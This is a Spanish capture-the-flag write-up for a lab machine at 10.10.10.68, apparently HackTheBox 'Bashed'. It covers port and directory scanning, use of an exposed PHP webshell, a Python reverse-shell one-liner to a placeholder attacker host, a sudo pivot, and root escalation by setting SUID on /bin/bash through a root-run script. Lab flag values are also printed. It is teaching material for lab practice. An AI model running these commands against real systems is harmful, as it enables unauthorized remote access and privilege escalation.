1. Escaneo general de puertos
Primero hacemos un ping para ver si tenemos conexión con la máquina y que sistema operativo utiliza:
$ ping -c 1 10.10.10.68
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=125 ms
--- 10.10.10.68 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 124.645/124.645/124.645/0.000 ms
Después de comprobar que tenemos conexión con el equipo realizamos el escaneo general.
$ sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 10.10.10.68 -oG allports
[sudo] contraseña para elmili:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 02:04 CEST
Initiating SYN Stealth Scan at 02:04
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 02:04, 18.16s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.12s latency).
Scanned at 2025-04-14 02:04:21 CEST for 18s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
2. Escaneo específico de los puertos encontrados
Tras descubrir los puertos abiertos hacemos un escaneo específico al puerto 80 (HTTP), para conocer las versiones y los servicios que corren en el puerto.
$ nmap -sCV -p80 10.10.10.68 -oN escaneo
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 02:05 CEST
Nmap scan report for 10.10.10.68
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.11 seconds
3. Reconocimiento del sitio web (HTTP)
Vemos un blog que habla del desarrollo de una webshell hecha con php para pentesting. Y de hecho encontramos un link a github de como está montada.
4. Escaneo de directorios
Realizamos un escaneo de subdirectorios por si pudiera haber algo interesante subido (como por ejemplo el proyecto de github :D).
$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,html,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.68
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,js,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/about.html (Status: 200) [Size: 8193]
/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/contact.html (Status: 200) [Size: 7805]
/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/index.html (Status: 200) [Size: 7743]
/js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/config.php (Status: 200) [Size: 0]
/fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/single.html (Status: 200) [Size: 7477]
/scroll.html (Status: 200) [Size: 10863]
Y efectivamente vemos algún subdirectorio interesante como “/dev” en el que encontramos efectivamente la webshell de nuestro amigo Arrexel.
5. Intrusión
Una vez tenemos la webshell funcional podemos lanzarnos una shell a nosotros mismos para ganar acceso al equipo y poder pivotar entre los usuarios que haya.
# En una terminal
nc -lnvp <puerto_atacante>
# En la webshell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacante>",<puerto_atacante>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Vemos dos directorios, en el directorio “arrexel” tenemos permisos de lectura y en el tenemos el archivito de la flag “users.txt”. Primera parte hecha.
www-data@bashed:/home$ ls
arrexel scriptmanager
www-data@bashed:/home$ cd arrexel/
www-data@bashed:/home/arrexel$ ls
user.txt
www-data@bashed:/home/arrexel$ cat user.txt
{a14ff9b051a66fc4e430bb948a95f494}
6. Pivoting
Ahora para realizar el pivoting realizamos un típico sudo -l y vemos que podemos “generar” una bash del usuario scriptmanager simplemente desde el usuario “www-data” .
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
7. Escalada de privilegios
Una vez somos el usuario “scriptmanager” buscamos posibles archivos con permisos SUID que nos permitan hacer la escalada. Pero nada.
scriptmanager@bashed:/home/arrexel$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
/bin/ping6
/bin/ntfs-3g
/bin/ping
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
Buscando un poco he visto que hay un programa de python ejecutandose desde el usuario root, pero en el que tenemos permisos de escritura con el usuario “scriptmanager”, el archivo “test.py”.
Pues cogemos este archivo y lo modificamos de la siguiente manera para otorgarle permisos SUID a “/bin/bash” y poder generar una bash con privilegios sin problema.
Y ya tendríamos nuestra flag.
scriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
{5c47a895a691a110783393957339f985}
¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!